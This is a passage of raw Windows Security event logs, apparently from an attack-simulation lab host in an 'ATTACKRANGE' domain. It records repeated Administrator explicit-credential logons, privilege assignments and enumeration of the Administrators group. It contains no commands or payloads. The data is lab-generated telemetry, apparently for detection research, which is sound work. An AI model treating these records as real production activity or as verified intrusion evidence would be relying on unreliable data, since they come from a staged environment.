was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:37:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245452 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:37:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245451 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x9D761 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:37:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245450 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x9D761 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:37:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245449 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x9D761 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:37:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245448 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:37:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245447 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:37:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245446 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x9C7F8 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:37:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245445 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x9C7F8 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:37:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245444 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x9C7F8 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:37:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245443 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:37:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245442 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:37:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245441 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x9C4DC - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:37:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245440 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x9C4DC - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:37:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245439 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:37:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245438 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:37:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245437 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x41c - Process Name: C:\Windows\System32\svchost.exe -03/11/2021 11:37:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245473 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x9FD2D - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:37:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245472 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x9FD2D - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:37:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245471 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:37:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245470 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:37:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245469 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x9E15D - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:37:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245468 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x9E15D - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:37:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245467 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:37:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245466 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:37:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245465 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x9DE30 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:37:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245464 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x9DE30 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:37:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245463 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:37:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245462 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:37:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245461 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x41c - Process Name: C:\Windows\System32\svchost.exe -03/11/2021 11:37:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245460 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x9D950 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:37:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245459 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x9D950 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a 